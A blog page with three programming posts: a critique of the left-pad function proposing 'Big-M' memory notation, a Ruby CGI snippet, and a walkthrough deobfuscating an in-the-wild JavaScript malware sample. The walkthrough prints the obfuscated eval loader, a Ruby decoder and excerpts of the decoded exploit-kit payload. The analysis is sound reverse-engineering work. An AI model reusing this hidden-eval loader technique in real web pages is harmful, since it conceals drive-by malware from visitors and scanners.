Big-M Notation

Today's node.js chaos seemed like it was only a simple lesson in Operations 101 (hint: always host the code for your application and the modules it depends on in the same place) until one looks at the actual function that everyone was linking to:

function leftpad (str, len, ch) {
  str = String(str);

  var i = -1;

  if (!ch && ch !== 0) ch = ' ';

  len = len - str.length;

  while (++i < len) {
    str = ch + str;
  }

  return str;
}

This is quite possibly the worst algorithm in the (admittedly short) history of padding strings. Unless JS is doing something special behind our backs, we're looking at something on the order of len string allocations here, each one slightly larger than the last.

OK, so JS more or less asks for problems like this because it refuses to provide anything remotely resembling a standard library. Still, this is a common enough problem: people using dynamic memory management as if it were free, with no awareness of the costs of memory allocation and subsequent garbage collection.

To help raise awareness, I propose a Big-M notation to supplement Big-O notation (and Big-theta and all that). Big-M, or M( ), determines how memory allocations in an algorithm will grow with an input n. As with the other Big-notations, lower-order terms are dropped. 

Using this notation, the above string padding algorithm is M(n), when it should be something constant like M(1).

malware in the wild: an interesting diversion

This little number provided some measure of entertainment this evening.

Ostensibly a Javascript malware "caught in the wild", it consists largely of an incomprehensible HTML I tag full of what appears to be encoded data:

17="=0g1ekd4=0f3f6ek=4e844e5=8g77gcf=37mdd60=1eee2f6..."


The nature of the obfuscation can be determined fairly quickly by looking at the two SCRIPT tags:

dd="i";ss=String.fromCharCode;pp="eIn";gg="getElem"+"entsByTagName";zx="al";

and

if(document.getElementsByTagName("div")[0].style.display==""){a=document[gg](dd)[0];

s=new String();

for(i=0;;i++){

        r=a.getAttribute(i);

        if(r){s=s+r;}else break;

}

a=s;

s=new String();

zx="ev"+zx;

e=window[zx];

p=parseInt;

for(i=0;i=2){

        if(a["su"+"bs"+"tr"](i,1)!="=")

        s=s.concat(ss(p(a.substr(i,2),23)/3));

}

c=s;

e(c)}

It only takes putting them side by side to realize that the first contains string substitutions for the second.

Performing the substitutions manually, we get:

if(document.getElementsByTagName("div")[0].style.display==""){

  # a)

  a=document["getElementsByTagName"]("i")[0];

  s=new String();

  for(i=0;;i++){

    r=a.getAttribute(i);

    if(r){s=s+r;}else break;

  }

  a=s;

  s=new String();

  e=window["eval"];

  # b)

  for(i=0;i

    # c)

    if(a["substr"](i,1)!="=")

    #d)

    s=s.concat(String.fromCharCode(parseInt(a.substr(i,2),23)/3));

  }

  c=s;

  # e)

  e(c)}

By now the operation of the main encoding scheme is apparent. The code at a) reads the (numeric) attributes of the "I" tag from 0 to 28 (the largest attribute # in the I tag), and assembles it into a string. The characters of this string are iterated over in pairs at b), and each pair beginning with '=' is skipped at c). Finally, at d), a command string is generated by:

  * reading each pair of characters as a base-23 number

  * dividing the resulting number by 3

  * converting that result into an ASCII character

At e), fittingly, this command string is evaluated.

The code in a) shows that the numeric attributes in the I tag are displayed out of order, in another crude attempt at obfuscation. The first attribute must be zero (according to the loop), and its contents are:

0="=6f9cfek=344aae2=2f6dadg=5e88kd4=2f3d4cl=2f37mg1=3f9d4ek=2f0dgeb=8e87d4a=9666074=7607a4a=15he8cf..."

Manually converting this in ruby shows that the above interpretation of the obfuscation is indeed correct:

%w{ f9 cf ek 44 aa e2 f6 da dg e8 8k d4 f3 d4 cl f3 7m g1 f9 d4 ek f0 dg eb e8 7d 4a 66 60 74 60 7a 4a 5h e8 cf }.map { |x| (Integer(x, 23) / 3).chr }.join

 => "var PluginDetect={version:\"0.7.9\",na" 

From here on it is a simple matter of decoding. Extract the contents of the I tag into a file called "lines.dat". 

 dat = File.open('lines.dat', 'r') { |f| f.read }

A quick perusal shows that the attributes are separated by spaces, and a quick experiment verifies this:

 dat.split(' ').length

 => 29 

Enumerable#inject proves a nice way to turn this into a hash:

h = dat.split(' ').inject({}) { |h, attr| k,v,jnk = attr.split('="'); h[Integer(k)] = v.split(/=[[:alnum:]]/)[1..-1].map{ |s| [s[0,2], s[2,2], s[4,2]] }.flatten ; h}

Some commentary is perhaps in order here. The inject block splits each attribute on '="', resulting in a [name, attribute] pair such as ["0", "=6f9cfek=344aa..."]. The first half of the pair, called k for key, is converted to a fixnum and serves as a sort of line number for the command. 

The tricky bit is the handling of v (for value, of course). This is split on a regex consisting of an equals sign and an alphanumeric character;  for attribute 0, this creates the array ["", "f9cfek", "44aae2", "f6dadg", "e88kd4", ... ]. The empty first element is discarded, then the strings in the array are manually divided into their three numeric components, resulting in an array such as ["f9", "cf", "ek", "44", "aa", "e2", "f6", "da", "dg", "e8", "8k", "d4", ... ].

All that remains now is to order the attributes by "line number", convert each encoded number from a base 23 String representation to a Fixnum, divide it by three, and convert the result to a character. Simple enough:

h.keys.sort.map{ |i| h[i].map{ |x| (Integer(x, 23) / 3).chr }.join }.join

The result is a rather long payload which the reader is welcome to reconstruct themselves or peruse. To give a taste, here is the very beginning and the very end:

"var PluginDetect={version:\"0.7.9\",name:\"PluginDetect\",handler:function(c,b,a){return function(){c(b,a)}},openTag:\"

...

ss=setTimeout;var res=ar[arcalli]();arcalli++;if(res&&window.document){ss(function(){arcall()},5509);}else{arcall();}};arcall();}$$[\"onDetec\"+\"tionDone\"](\"Ja\"+\"va\", svwrbew6436b, \"../legs/getJavaInfo.jar\");"

Ruby CGI and Javascript

After a brief perusal of the Ruby CGI module documentation, it doesn't seem like there is a good way to generate Javascript from within it.

Due to the method_missing way that the CGI module handles HTML tags, however, it turns out to be quite simple: invoke cgi.script, passing all tag parameters as a hash, and pass the Javascript code as a string in the block:

  cgi.out {
    cgi.html {
      cgi.head {
        cgi.title {
          "Test"
        } +

        # Javascript library to include
        cgi.script( 'src' => 'dygraph-combined.js',
                    'type' => 'text/javascript') {
        }
      } +

      cgi.body {
        cgi.br +
        cgi.div( 'id' => 'graphdiv' ) +
        cgi.br +
        cgi.script( 'type' => 'text/javascript') {

          # Javascript to execute
          'g = new Dygraph(
                  document.getElementById("graphdiv"),
                  "Date,Temperature\n" +
                  "2008-05-07,75\n" +
                  "2008-05-08,70\n" +
                  "2008-05-09,80\n"
              );
          '
        }

      }

    }